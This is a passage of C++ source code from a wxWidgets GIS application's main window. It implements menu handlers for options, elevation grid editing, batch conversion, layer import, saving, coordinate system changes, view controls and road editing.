g_Options.GetValueBool(TAG_BLACK_TRANSP); dlg.b13 = g_Options.GetValueBool(TAG_TIFF_COMPRESS); dlg.b14 = g_Options.GetValueBool(TAG_DEFAULT_GZIP_BT); dlg.b15 = g_Options.GetValueBool(TAG_DELAY_LOAD_GRID); dlg.i1 = g_Options.GetValueInt(TAG_SAMPLING_N); dlg.i2 = g_Options.GetValueInt(TAG_MAX_MEGAPIXELS); dlg.i3 = g_Options.GetValueInt(TAG_ELEV_MAX_SIZE); if (dlg.b15) dlg.i4 = g_Options.GetValueInt(TAG_MAX_MEM_GRID); else dlg.i4 = 128; dlg.TransferDataToWindow(); if (dlg.ShowModal() == wxID_OK) { g_Options.SetValueBool(TAG_USE_CURRENT_CRS, dlg.b1); g_Options.SetValueBool(TAG_LOAD_IMAGES_ALWAYS, dlg.b3); g_Options.SetValueBool(TAG_LOAD_IMAGES_NEVER, dlg.b4); g_Options.SetValueBool(TAG_REPRO_TO_FLOAT_ALWAYS, dlg.b7); g_Options.SetValueBool(TAG_REPRO_TO_FLOAT_NEVER, dlg.b6); if (dlg.b9) g_Options.SetValueInt(TAG_GAP_FILL_METHOD, 1); if (dlg.b10) g_Options.SetValueInt(TAG_GAP_FILL_METHOD, 2); if (dlg.b11) g_Options.SetValueInt(TAG_GAP_FILL_METHOD, 3); g_Options.SetValueBool(TAG_BLACK_TRANSP, dlg.b12); g_Options.SetValueBool(TAG_TIFF_COMPRESS, dlg.b13); g_Options.SetValueBool(TAG_DEFAULT_GZIP_BT, dlg.b14); g_Options.SetValueBool(TAG_DELAY_LOAD_GRID, dlg.b15); g_Options.SetValueInt(TAG_SAMPLING_N, dlg.i1); g_Options.SetValueInt(TAG_MAX_MEGAPIXELS, dlg.i2); g_Options.SetValueInt(TAG_ELEV_MAX_SIZE, dlg.i3); g_Options.SetValueInt(TAG_MAX_MEM_GRID, dlg.i4); vtImage::bTreatBlackAsTransparent = dlg.b11; vtElevLayer::m_bDefaultGZip = dlg.b13; if (dlg.b15) vtElevLayer::m_iElevMemLimit = dlg.i4; else vtElevLayer::m_iElevMemLimit = -1; // safety checks CheckOptionBounds(); } } void MainFrame::OnElevFlip(wxCommandEvent &event) { vtElevLayer *t = GetActiveElevLayer(); if (!t || !t->GetGrid()) return; // Quick and dirty flip code. Yes, this could be optimized. vtElevationGrid *grid = t->GetGrid(); IPoint2 dim = grid->GetDimensions(); for (int j = 0; j < dim.y / 2; j++) { for (int i = 0; i < dim.x; i++) { float f = grid->GetFValue(i, j); grid->SetFValue(i, j, grid->GetFValue(i, dim.y - 1 - j)); grid->SetFValue(i, dim.y - 1 - j, f); } } t->SetModified(true); t->ReRender(); m_pView->Refresh(); } void MainFrame::OnBatchConvert(wxCommandEvent &event) { wxArrayString aChoices; aChoices.push_back(_("Import elevation grid data, write BT")); aChoices.push_back(_("Import 3D point data, produce a TIN and write ITF")); int result = wxGetSingleChoiceIndex(_("Choose operation:"), _T("Batch processing"), aChoices, this); if (result == -1) return; wxString dir1 = wxDirSelector(_("Choose directory that has the input files"), _T(""), 0, wxDefaultPosition, this); if (dir1 == _T("")) return; wxString dir2 = wxDirSelector(_("Choose directory for output files"), dir1, 0, wxDefaultPosition, this); if (dir2 == _T("")) return; std::string path1 = (const char *) dir1.mb_str(wxConvUTF8); std::string path2 = (const char *) dir2.mb_str(wxConvUTF8); wxString msg; int succeeded = 0; int count = 0, total = 0; for (dir_iter it(path1); it != dir_iter(); ++it) total ++; OpenProgressDialog2(_T("Processing"), true, this); // some paths are long, and the progress dialog doesn't automatically widen SetProgressDialog2Width(600); for (dir_iter it(path1); it != dir_iter(); ++it) { if (it.is_hidden() || it.is_directory()) continue; std::string name1 = path1 + "/" + it.filename(); // progress count++; msg.Printf(_T("%d: Read "), count); msg += wxString(name1.c_str(), wxConvUTF8); if (UpdateProgressDialog2(count * 99 / total, 0, msg)) break; // cancel if (result == 0) { bool bGZip = false; msg.Printf(_T("%d: Import from %hs"), count, name1.c_str()); if (UpdateProgressDialog2(count * 99 / total, 0, msg)) break; // cancel vtElevationGrid grid; if (!grid.LoadFromFile(name1.c_str(), progress_callback_minor)) break; vtString name2 = path2.c_str(); name2 += "/"; name2 += it.filename().c_str(); RemoveFileExtensions(name2); name2 += ".bt"; grid.SaveToBT(name2, progress_callback_minor, bGZip); } else if (result == 1) { vtFeatureSet *pSet = g_bld->ImportPointsFromXYZ(name1.c_str(), progress_callback_minor); if (!pSet) continue; vtFeatureSetPoint3D *setpo3 = dynamic_cast(pSet); if (!setpo3) continue; msg.Printf(_T("%d: Creating TIN"), count); if (UpdateProgressDialog2(count * 99 / total, 0, msg)) break; // cancel // points -> TIN algorithm -> TIN vtTin2d *tin = new vtTin2d(setpo3); // inherit CRS from application vtCRS crs; g_bld->GetCRS(crs); tin->m_crs = crs; vtElevLayer *pEL = new vtElevLayer; pEL->SetTin(tin); // inherit name wxString output_name = dir2; output_name += _T("/"); output_name += wxString(it.filename().c_str(), wxConvUTF8); RemoveFileExtensions(output_name); output_name += _T(".itf"); // progress msg.Printf(_T("%d: Write "), count); msg += output_name; if (UpdateProgressDialog2(count * 99 / total, 0, msg)) break; // cancel bool success = pEL->SaveAs(output_name, progress_callback_minor); if (success) succeeded ++; // clean up delete pEL; delete pSet; } } msg.Printf(_T("Successfully wrote %d files"), succeeded); wxMessageBox(msg, _T(""), 4|wxCENTRE, this); CloseProgressDialog2(); } void MainFrame::OnDymaxTexture(wxCommandEvent &event) { DoDymaxTexture(); } void MainFrame::OnDymaxMap(wxCommandEvent &event) { DoDymaxMap(); } void MainFrame::OnProcessBillboard(wxCommandEvent &event) { DoProcessBillboard(); } void MainFrame::OnGeocode(wxCommandEvent &event) { DoGeocode(); } void MainFrame::OnRunTest(wxCommandEvent &event) { m_pView->RunTest(); } void MainFrame::OnQuit(wxCommandEvent &event) { Close(FALSE); } void MainFrame::OnUpdateFileMRU(wxUpdateUIEvent& event) { UpdateMRU(mruMenu, m_ProjectFiles, ID_FIRST_MRU_FILE); event.Enable(m_ProjectFiles.size() > 0); } ////////////////////////////////////////////////// // Edit menu void MainFrame::OnEditDelete(wxCommandEvent &event) { vtRoadLayer *pRL = GetActiveRoadLayer(); if (pRL && (pRL->NumSelectedNodes() != 0 || pRL->NumSelectedLinks() != 0)) { wxString str; str.Printf(_("Deleting road selection: %d nodes and %d roads"), pRL->NumSelectedNodes(), pRL->NumSelectedLinks()); SetStatusText(str); m_pView->DeleteSelected(pRL); pRL->SetModified(true); return; } vtStructureLayer *pSL = GetActiveStructureLayer(); if (pSL && pSL->NumSelected() != 0) { pSL->DeleteSelected(); pSL->SetModified(true); m_pView->Refresh(); return; } vtRawLayer *pRawL = GetActiveRawLayer(); if (pRawL) { vtFeatureSet *pSet = pRawL->GetFeatureSet(); if (pSet && pSet->NumSelected() != 0) { pSet->DeleteSelected(); pRawL->SetModified(true); m_pView->Refresh(); OnSelectionChanged(); return; } } vtLayer *pL = GetActiveLayer(); if (pL) { int result = wxMessageBox(_("Are you sure you want to delete the current layer?"), _("Question"), wxYES_NO | wxICON_QUESTION, this); if (result == wxYES) RemoveLayer(pL); } } void MainFrame::OnUpdateEditDelete(wxUpdateUIEvent& event) { event.Enable(GetActiveLayer() != NULL); } void MainFrame::OnEditDeselectAll(wxCommandEvent &event) { m_pView->DeselectAll(); } void MainFrame::OnEditInvertSelection(wxCommandEvent &event) { vtRoadLayer *pRL = GetActiveRoadLayer(); if (pRL) { pRL->InvertSelection(); m_pView->Refresh(false); } vtStructureLayer *pSL = GetActiveStructureLayer(); if (pSL) { pSL->InvertSelection(); m_pView->Refresh(false); } vtRawLayer *pRawL = GetActiveRawLayer(); if (pRawL) { pRawL->GetFeatureSet()->InvertSelection(); m_pView->Refresh(false); OnSelectionChanged(); } } void MainFrame::OnEditCrossingSelection(wxCommandEvent &event) { m_pView->m_bCrossSelect = !m_pView->m_bCrossSelect; } void MainFrame::OnUpdateCrossingSelection(wxUpdateUIEvent& event) { event.Check(m_pView->m_bCrossSelect); } void MainFrame::OnEditOffset(wxCommandEvent &event) { wxTextEntryDialog dlg(this, _("Offset"), _("Please enter horizontal offset X, Y"), _T("0, 0")); if (dlg.ShowModal() != wxID_OK) return; DPoint2 offset; wxString str = dlg.GetValue(); sscanf(str.mb_str(wxConvUTF8), "%lf, %lf", &offset.x, &offset.y); GetActiveLayer()->Offset(offset); GetActiveLayer()->SetModified(true); m_pView->Refresh(); } void MainFrame::OnUpdateEditOffset(wxUpdateUIEvent& event) { event.Enable(GetActiveLayer() != NULL); } ////////////////////////////////////////////////// // Layer menu void MainFrame::OnLayerNew(wxCommandEvent &event) { LayerType lt = AskLayerType(); if (lt == LT_UNKNOWN) return; vtLayer *pL = vtLayer::CreateNewLayer(lt); if (!pL) return; if (lt == LT_ELEVATION) { vtElevLayer *pEL = (vtElevLayer *)pL; vtElevationGrid *grid = new vtElevationGrid(m_area, IPoint2(1025, 1025), false, m_crs); grid->FillWithSingleValue(1000); pEL->SetGrid(grid); } else { pL->SetCRS(m_crs); } SetActiveLayer(pL); m_pView->SetActiveLayer(pL); AddLayer(pL); RefreshTreeView(); RefreshToolbars(); RefreshView(); } void MainFrame::OnLayerOpen(wxCommandEvent &event) { wxString filter = _("Native Layer Formats|"); AddType(filter, FSTRING_BT); // elevation AddType(filter, FSTRING_BTGZ); // compressed elevation AddType(filter, FSTRING_TIN); // elevation AddType(filter, FSTRING_RMF); // roads AddType(filter, FSTRING_GML); // raw AddType(filter, FSTRING_UTL); // utility towers AddType(filter, FSTRING_VTST); // structures AddType(filter, FSTRING_VTSTGZ);// compressed structures AddType(filter, FSTRING_VF); // vegetation files AddType(filter, FSTRING_TIF); // image files AddType(filter, FSTRING_IMG); // image or elevation file AddType(filter, FSTRING_SHP); // raw files // ask the user for a filename, allow multiple select wxFileDialog loadFile(NULL, _("Open Layer"), _T(""), _T(""), filter, wxFD_OPEN | wxFD_MULTIPLE); bool bResult = (loadFile.ShowModal() == wxID_OK); if (!bResult) return; wxArrayString Paths; loadFile.GetPaths(Paths); for (size_t i = 0; i < Paths.GetCount(); i++) { // if succeeded, will be added to the MRU LoadLayer(Paths[i]); } } void MainFrame::OnLayerSave(wxCommandEvent &event) { vtLayer *lp = GetActiveLayer(); if (lp->GetLayerFilename().Left(8).CmpNoCase(_("Untitled")) == 0) { if (!lp->AskForSaveFilename()) return; } wxString msg = _("Saving layer to file ") + lp->GetLayerFilename(); SetStatusText(msg); VTLOG(msg.mb_str(wxConvUTF8)); VTLOG("\n"); if (lp->Save()) msg = _("Saved layer to file ") + lp->GetLayerFilename(); else msg = _("Save failed."); SetStatusText(msg); VTLOG(msg.mb_str(wxConvUTF8)); VTLOG("\n"); } void MainFrame::OnUpdateLayerSave(wxUpdateUIEvent& event) { vtLayer *lp = GetActiveLayer(); event.Enable(lp != NULL && lp->GetModified() && lp->CanBeSaved()); } void MainFrame::OnLayerSaveAs(wxCommandEvent &event) { vtLayer *lp = GetActiveLayer(); if (!lp->AskForSaveFilename()) return; wxString fname = lp->GetLayerFilename(); wxString msg = _("Saving layer to file as ") + fname; SetStatusText(msg); VTLOG1(msg.mb_str(wxConvUTF8)); VTLOG1("\n"); bool success = lp->Save(); if (success) { lp->SetModified(false); msg = _("Saved layer to file as ") + fname; // Add newly-saved layers to the MRU list AddToMRU(m_LayerFiles, (const char *) fname.mb_str(wxConvUTF8)); } else { msg = _("Failed to save layer to ") + fname; wxMessageBox(msg, _("Problem")); } SetStatusText(msg); VTLOG1(msg.mb_str(wxConvUTF8)); VTLOG1("\n"); } void MainFrame::OnUpdateLayerSaveAs(wxUpdateUIEvent& event) { vtLayer *lp = GetActiveLayer(); event.Enable(lp != NULL && lp->CanBeSaved()); } void MainFrame::OnUpdateMRULayer(wxUpdateUIEvent& event) { UpdateMRU(mruLayerMenu, m_LayerFiles, ID_FIRST_MRU_LAYER); event.Enable(m_LayerFiles.size() > 0); } void MainFrame::OnUpdateMRUImport(wxUpdateUIEvent& event) { UpdateMRU(mruImportMenu, m_ImportFiles, ID_FIRST_MRU_IMPORT); event.Enable(m_ImportFiles.size() > 0); } void MainFrame::OnUpdateLayerProperties(wxUpdateUIEvent& event) { event.Enable(GetActiveLayer() != NULL); } void MainFrame::OnLayerImport(wxCommandEvent &event) { LayerType lt; // first ask what kind of data layer lt = AskLayerType(); if (lt == LT_UNKNOWN) return; ImportData(lt); } void MainFrame::OnLayerImportTIGER(wxCommandEvent &event) { // Ask the user for a directory wxDirDialog getDir(NULL, _("Import TIGER Data From Directory")); if (getDir.ShowModal() == wxID_OK) ImportDataFromTIGER(getDir.GetPath()); } void MainFrame::OnLayerImportOSM(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Import Layers from OpenStreetMap File"), _T(""), _T(""), FSTRING_OSM, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; OpenProgressDialog(_("Importing from OpenStreetMap"), loadFile.GetPath(), false, m_pParentWindow); UpdateProgressDialog(0, loadFile.GetPath()); LayerArray layers; layers.SetOwnership(false); ImportDataFromOSM(loadFile.GetPath(), layers, progress_callback); CloseProgressDialog(); for (uint i = 0; i < layers.size(); i++) AddLayerWithCheck(layers[i], true); } void MainFrame::OnLayerImportNTF(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Import Layers from NTF File"), _T(""), _T(""), FSTRING_NTF, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; LayerArray layers; layers.SetOwnership(false); ImportDataFromNTF(loadFile.GetPath(), layers); for (uint i = 0; i < layers.size(); i++) AddLayerWithCheck(layers[i], true); } // // Import from a Garmin MapSource GPS export file (.txt) // void MainFrame::OnLayerImportMapSource(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Import MapSource File"), _T(""), _T(""), _("MapSource Export Files (*.txt)|*.txt"), wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; wxString str = loadFile.GetPath(); ImportFromMapSource(str.mb_str(wxConvUTF8)); } void MainFrame::OnLayerImportPoint(wxCommandEvent &event) { wxString filter = _("Tabular Data Files|"); AddType(filter, FSTRING_DBF); // old-style database AddType(filter, FSTRING_CSV); // comma-separated values AddType(filter, FSTRING_XYZ); // space-separated X Y Z AddType(filter, FSTRING_ENZI); // space-separated East North Z i wxFileDialog loadFile(NULL, _("Import Point Data"), _T(""), _T(""), filter, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; OpenProgressDialog(_T("Importing"), loadFile.GetPath()); wxString str = loadFile.GetPath(); ImportDataPointsFromTable(str.mb_str(wxConvUTF8), progress_callback); CloseProgressDialog(); } void MainFrame::OnLayerImportXML(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Import XML Data"), _T(""), _T(""), FSTRING_XML, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; wxString str = loadFile.GetPath(); vtRawLayer *pRL = new vtRawLayer; if (pRL->ImportFromXML(str.mb_str(wxConvUTF8))) { pRL->SetLayerFilename(str); pRL->SetModified(true); if (!AddLayerWithCheck(pRL, true)) delete pRL; } else delete pRL; } void MainFrame::OnLayerImportDXF(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Import DXF Data"), _T(""), _T(""), FSTRING_DXF, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; wxString str = loadFile.GetPath(); ImportDataFromDXF(str.mb_str(wxConvUTF8)); } void MainFrame::OnLayerProperties(wxCommandEvent &event) { vtLayer *lp = GetActiveLayer(); if (lp) ShowLayerProperties(lp); } void MainFrame::ShowLayerProperties(vtLayer *lp) { // All layers have some common properties, others are specific to the // type of layer. LayerType ltype = lp->GetType(); wxString title; title += vtLayer::LayerTypeNames[ltype]; title += _(" Layer Properties"); LayerPropDlg dlg(NULL, -1, title, wxDefaultPosition, wxDefaultSize, wxDEFAULT_DIALOG_STYLE | wxRESIZE_BORDER); // Fill in initial values for the dialog DRECT rect, rect2; lp->GetExtent(rect); dlg.m_fLeft = rect.left; dlg.m_fTop = rect.top; dlg.m_fRight = rect.right; dlg.m_fBottom = rect.bottom; lp->GetPropertyText(dlg.m_strText); // For elevation and image layers, if the user changes the extents, apply. if (dlg.ShowModal() != wxID_OK) return; rect2.left = dlg.m_fLeft; rect2.top = dlg.m_fTop; rect2.right = dlg.m_fRight; rect2.bottom = dlg.m_fBottom; if (rect2 != rect) { // user changed the extents if (lp->SetExtent(rect2)) { wxMessageBox(_("Changed extents.")); m_pView->Refresh(); } else wxMessageBox(_("Could not change extents.")); } } void MainFrame::OnAreaSampleElev(wxCommandEvent &event) { AreaSampleElevation(m_pView); } void MainFrame::OnAreaSampleElevTileset(wxCommandEvent &event) { AreaSampleElevTileset(m_pView); } void MainFrame::OnAreaSampleImageTileset(wxCommandEvent &event) { AreaSampleImageTileset(m_pView); } void MainFrame::OnUpdateAreaSampleElev(wxUpdateUIEvent& event) { event.Enable(LayersOfType(LT_ELEVATION) > 0 && !m_area.IsEmpty()); } void MainFrame::OnAreaSampleImage(wxCommandEvent &event) { AreaSampleImages(m_pView); } void MainFrame::OnUpdateAreaSampleImage(wxUpdateUIEvent& event) { event.Enable(LayersOfType(LT_IMAGE) > 0 && !m_area.IsEmpty()); } void MainFrame::OnLayerConvertCRS(wxCommandEvent &event) { // Ask for what CRS to convert to ProjectionDlg dlg(NULL, 200, _("Convert to what coordinate system?")); dlg.SetCRS(m_crs); // They might switch to UTM, so help provide a good guess for UTM zone. dlg.SetGeoRefPoint(EstimateGeoDataCenter()); if (dlg.ShowModal() == wxID_CANCEL) return; vtCRS crs; dlg.GetCRS(crs); // Count through the layer array, converting. int layers = m_Layers.size(); int succeeded = 0; for (int i = 0; i < layers; i++) { vtLayer *lp = m_Layers[i]; OpenProgressDialog(_("Converting"), _T(""), false, this); bool success = lp->TransformCoords(crs); CloseProgressDialog(); if (success) { succeeded++; lp->SetModified(true); } } if (succeeded < layers) { if (layers == 1) DisplayAndLog("Failed to convert."); else DisplayAndLog("Failed to convert %d of %d layers.", layers-succeeded, layers); } SetCRS(crs); ZoomAll(); RefreshStatusBar(); } void MainFrame::OnLayerSetCRS(wxCommandEvent &event) { // Allow the user to directly specify the CRS for all loaded layers // (override it, without reprojecting the layer's data) // Ask for what projection to set. ProjectionDlg dlg(NULL, -1, _("Set to what coordinate system?")); dlg.SetCRS(m_crs); // They might switch to UTM, so help provide a good guess for UTM zone. dlg.SetGeoRefPoint(EstimateGeoDataCenter()); if (dlg.ShowModal() == wxID_CANCEL) return; vtCRS crs; dlg.GetCRS(crs); // Count through the layer array, setting. int layers = m_Layers.size(); for (int i = 0; i < layers; i++) m_Layers[i]->SetCRS(crs); SetCRS(crs); ZoomAll(); RefreshStatusBar(); } void MainFrame::OnUpdateLayerConvert(wxUpdateUIEvent& event) { event.Enable(m_Layers.size() != 0); } void MainFrame::OnLayerCombine(wxCommandEvent &event) { vtLayer *pActive = GetActiveLayer(); LayerType t = pActive->GetType(); int layers_merged = 0; // Count down through the layer array, flattening. int layers = m_Layers.size(); for (int i = layers-1; i >= 0; i--) { vtLayer *pL = m_Layers[i]; if (pL == pActive) continue; if (pL->GetType() != t) continue; // TRACE("Merging layer %s/%x with %s/%x\n", // pL->GetFilename(), pL, pActive->GetFilename(), pActive); if (pActive->AppendDataFrom(pL)) { // successfully merged contents, so second layer can be deleted RemoveLayer(pL); layers_merged++; } } if (layers_merged > 0) { wxString newname = _("Untitled"); newname += pActive->GetFileExtension(); pActive->SetLayerFilename(newname); pActive->SetModified(true); } } void MainFrame::OnUpdateLayerCombine(wxUpdateUIEvent& event) { vtLayer *lp = GetActiveLayer(); vtElevLayer *ep = GetActiveElevLayer(); event.Enable(lp && (lp->GetType() == LT_ROAD || lp->GetType() == LT_VEG || lp->GetType() == LT_WATER || lp->GetType() == LT_STRUCTURE || lp->GetType() == LT_RAW || (ep && ep->GetTin() != NULL))); // TINs can also combine } //////////////////////////////////////////////////////////// // View menu void MainFrame::OnLayerShow(wxCommandEvent &event) { vtLayer *pLayer = GetActiveLayer(); if (!pLayer) return; pLayer->SetVisible(!pLayer->GetVisible()); RefreshView(); RefreshTreeStatus(); } void MainFrame::OnUpdateLayerShow(wxUpdateUIEvent& event) { vtLayer *pLayer = GetActiveLayer(); event.Enable(pLayer != NULL); event.Check(pLayer && pLayer->GetVisible()); } void MainFrame::OnLayerUp(wxCommandEvent &event) { vtLayer *pLayer = GetActiveLayer(); if (!pLayer) return; int num = LayerNum(pLayer); if (num < (int) NumLayers() - 1) SwapLayerOrder(num, num+1); RefreshView(); RefreshTreeView(); } void MainFrame::OnUpdateLayerUp(wxUpdateUIEvent& event) { vtLayer *pLayer = GetActiveLayer(); event.Enable(pLayer != NULL && LayerNum(pLayer) < (int) NumLayers() - 1); } void MainFrame::OnLayerDown(wxCommandEvent &event) { vtLayer *pLayer = GetActiveLayer(); if (!pLayer) return; int num = LayerNum(pLayer); if (num > 0) SwapLayerOrder(num-1, num); RefreshView(); RefreshTreeView(); } void MainFrame::OnUpdateLayerDown(wxUpdateUIEvent& event) { vtLayer *pLayer = GetActiveLayer(); event.Enable(pLayer != NULL && LayerNum(pLayer) > 0); } void MainFrame::OnViewMagnifier(wxCommandEvent &event) { m_pView->SetMode(LB_Mag); m_pView->SetCorrectCursor(); } void MainFrame::OnUpdateMagnifier(wxUpdateUIEvent& event) { event.Check(m_pView && m_pView->GetMode() == LB_Mag); } void MainFrame::OnViewPan(wxCommandEvent &event) { m_pView->SetMode(LB_Pan); m_pView->SetCorrectCursor(); } void MainFrame::OnUpdatePan(wxUpdateUIEvent& event) { event.Check(m_pView && m_pView->GetMode() == LB_Pan); } void MainFrame::OnViewDistance(wxCommandEvent &event) { m_pView->SetMode(LB_Dist); m_pView->SetCorrectCursor(); ShowDistanceDlg(); } void MainFrame::OnUpdateDistance(wxUpdateUIEvent& event) { event.Check(m_pView && m_pView->GetMode() == LB_Dist); } void MainFrame::OnViewSetArea(wxCommandEvent& event) { m_pView->SetMode(LB_Box); } void MainFrame::OnUpdateViewSetArea(wxUpdateUIEvent& event) { event.Check(m_pView && m_pView->GetMode() == LB_Box); } void MainFrame::OnViewZoomIn(wxCommandEvent &event) { // Directly towards center of view. const wxSize client = m_pView->GetClientSize(); DPoint2 p; m_pView->ClientToWorld(wxPoint(client.x / 2, client.y / 2), p); m_pView->ScaleAroundPoint(p, m_pView->GetScale() * sqrt(2.0)); RefreshStatusBar(); } void MainFrame::OnViewZoomOut(wxCommandEvent &event) { const wxSize client = m_pView->GetClientSize(); DPoint2 p; m_pView->ClientToWorld(wxPoint(client.x / 2, client.y / 2), p); m_pView->ScaleAroundPoint(p, m_pView->GetScale() / sqrt(2.0)); RefreshStatusBar(); } void MainFrame::OnViewZoomAll(wxCommandEvent &event) { ZoomAll(); } void MainFrame::OnViewZoomToLayer(wxCommandEvent &event) { vtLayer *lp = GetActiveLayer(); DRECT rect; if (lp->GetExtent(rect)) m_pView->ZoomToRect(rect, 0.1f); } void MainFrame::OnUpdateViewZoomToLayer(wxUpdateUIEvent& event) { event.Enable(GetActiveLayer() != NULL); } void MainFrame::OnViewFull(wxCommandEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); if (pEL) m_pView->MatchZoomToElev(pEL); vtImageLayer *pIL = GetActiveImageLayer(); if (pIL) m_pView->MatchZoomToImage(pIL); } void MainFrame::OnUpdateViewFull(wxUpdateUIEvent& event) { vtLayer *lp = GetActiveLayer(); event.Enable(lp && (lp->GetType() == LT_ELEVATION || lp->GetType() == LT_IMAGE)); } void MainFrame::OnViewZoomArea(wxCommandEvent& event) { m_pView->ZoomToRect(m_area, 0.1f); } void MainFrame::OnUpdateViewZoomArea(wxUpdateUIEvent& event) { event.Enable(!m_area.IsEmpty()); } void MainFrame::OnViewToolbar(wxCommandEvent& event) { wxAuiPaneInfo &info = m_mgr.GetPane(m_pToolbar); info.Show(!info.IsShown()); m_mgr.Update(); } void MainFrame::OnUpdateViewToolbar(wxUpdateUIEvent& event) { wxAuiPaneInfo &info = m_mgr.GetPane(m_pToolbar); event.Check(info.IsShown()); } void MainFrame::OnViewLayers(wxCommandEvent& event) { wxAuiPaneInfo &info = m_mgr.GetPane(m_pTree); info.Show(!info.IsShown()); m_mgr.Update(); } void MainFrame::OnUpdateViewLayers(wxUpdateUIEvent& event) { wxAuiPaneInfo &info = m_mgr.GetPane(m_pTree); event.Check(info.IsShown()); } void MainFrame::OnViewWorldMap(wxCommandEvent& event) { m_pView->SetShowMap(!m_pView->GetShowMap()); m_pView->Refresh(); } void MainFrame::OnUpdateWorldMap(wxUpdateUIEvent& event) { event.Check(m_pView->GetShowMap()); } void MainFrame::OnViewUTMBounds(wxCommandEvent& event) { m_pView->m_bShowUTMBounds = !m_pView->m_bShowUTMBounds; m_pView->Refresh(); } void MainFrame::OnUpdateUTMBounds(wxUpdateUIEvent& event) { event.Check(m_pView->m_bShowUTMBounds); } void MainFrame::OnViewProfile(wxCommandEvent& event) { if (m_pProfileDlg && m_pProfileDlg->IsShown()) m_pProfileDlg->Hide(); else ShowProfileDlg(); } void MainFrame::OnUpdateViewProfile(wxUpdateUIEvent& event) { event.Check(m_pProfileDlg && m_pProfileDlg->IsShown()); event.Enable(LayersOfType(LT_ELEVATION) > 0); } void MainFrame::OnViewScaleBar(wxCommandEvent& event) { m_pView->SetShowScaleBar(!m_pView->GetShowScaleBar()); } void MainFrame::OnUpdateViewScaleBar(wxUpdateUIEvent& event) { event.Check(m_pView && m_pView->GetShowScaleBar()); } void MainFrame::OnViewOptions(wxCommandEvent& event) { ShowOptionsDialog(); } ////////////////////////// // Road void MainFrame::OnSelectLink(wxCommandEvent &event) { m_pView->SetMode(LB_Link); } void MainFrame::OnUpdateSelectLink(wxUpdateUIEvent& event) { event.Check( m_pView->GetMode() == LB_Link ); } void MainFrame::OnSelectNode(wxCommandEvent &event) { m_pView->SetMode(LB_Node); } void MainFrame::OnUpdateSelectNode(wxUpdateUIEvent& event) { event.Check( m_pView->GetMode() == LB_Node ); } void MainFrame::OnSelectWhole(wxCommandEvent &event) { m_pView->SetMode(LB_LinkExtend); } void MainFrame::OnUpdateSelectWhole(wxUpdateUIEvent& event) { event.Check( m_pView->GetMode() == LB_LinkExtend ); } void MainFrame::OnDirection(wxCommandEvent &event) { m_pView->SetMode(LB_Dir); } void MainFrame::OnUpdateDirection(wxUpdateUIEvent& event) { event.Check( m_pView->GetMode() == LB_Dir ); } void MainFrame::OnRoadEdit(wxCommandEvent &event) { m_pView->SetMode(LB_LinkEdit); } void MainFrame::OnUpdateRoadEdit(wxUpdateUIEvent& event) { event.Check( m_pView->GetMode() == LB_LinkEdit ); } void MainFrame::OnRoadShowNodes(wxCommandEvent &event) { bool state = vtRoadLayer::GetDrawNodes(); vtRoadLayer::SetDrawNodes(!state); m_pView->Refresh(state); } void MainFrame::OnUpdateRoadShowNodes(wxUpdateUIEvent& event) { event.Check(vtRoadLayer::GetDrawNodes()); } void MainFrame::OnSelectHwy(wxCommandEvent &event) { vtRoadLayer *pRL = GetActiveRoadLayer(); if (!pRL) return; wxTextEntryDialog dlg(this, _("Please enter highway number"), _("Select Highway"), _T("")); if (dlg.ShowModal() == wxID_OK) { int num; wxString str = dlg.GetValue(); sscanf(str.mb_str(wxConvUTF8), "%d", &num); if (pRL->SelectHwyNum(num)) m_pView->Refresh(); } } void MainFrame::OnRoadClean(wxCommandEvent &event) { vtRoadLayer *pRL = GetActiveRoadLayer(); if (!pRL) return; double dEpsilon; if (m_crs.GetUnits() == LU_DEGREES) dEpsilon = 1E-7; else dEpsilon = 1E-2; wxString str; str.Printf(_T("%g"), dEpsilon); str = wxGetTextFromUser(_("How close are degenerate points? (epsilon)"), _("Clean RoadMap"), str, this); if (str == _T("")) return; dEpsilon = atof(str.mb_str(wxConvUTF8)); pRL->DoClean(dEpsilon); m_pView->Refresh(); } void MainFrame::OnRoadGuess(wxCommandEvent &event) { vtRoadLayer *pRL = GetActiveRoadLayer(); if (!pRL) return; // Set visual properties pRL->GuessIntersectionTypes(); for (NodeEdit *pN = pRL->GetFirstNode(); pN; pN = pN->GetNext()) pN->DetermineVisualFromLinks(); m_pView->Refresh(); } void MainFrame::OnUpdateRoadFlatten(wxUpdateUIEvent& event) { vtElevLayer *pE = (vtElevLayer *)GetMainFrame()->FindLayerOfType(LT_ELEVATION); event.Enable(pE != NULL && pE->GetGrid() != NULL); } ////////////////////////// // Elevation void MainFrame::OnUpdateIsElevation(wxUpdateUIEvent& event) { event.Enable(GetActiveElevLayer() != NULL); } void MainFrame::OnUpdateIsGrid(wxUpdateUIEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); event.Enable(pEL && pEL->IsGrid()); } void MainFrame::OnUpdateArithmetic(wxUpdateUIEvent& event) { // Must have at least two elevation layers to do arithmetic on them. event.Enable(LayersOfType(LT_ELEVATION) > 1); } void MainFrame::OnElevSelect(wxCommandEvent& event) { m_pView->SetMode(LB_TSelect); } void MainFrame::OnUpdateElevSelect(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_TSelect); } void MainFrame::OnElevRemoveRange(wxCommandEvent &event) { vtElevLayer *t = GetActiveElevLayer(); if (!t && !t->GetGrid()) return; wxString str; str = wxGetTextFromUser(_("Please specify the elevation range\n(minimum and maximum in the form \"X Y\")\nAll values within this range (and within the area\ntool, if it is defined) will be set to Unknown.")); float zmin, zmax; vtString text = (const char *) str.mb_str(wxConvUTF8); if (sscanf(text, "%f %f", &zmin, &zmax) != 2) { wxMessageBox(_("Didn't get two numbers.")); return; } int count = t->RemoveElevRange(zmin, zmax, m_area.IsEmpty() ? NULL : &m_area); if (count) { wxString str; str.Printf(_("Set %d heixels to unknown"), count); wxMessageBox(str); t->SetModified(true); t->ReRender(); 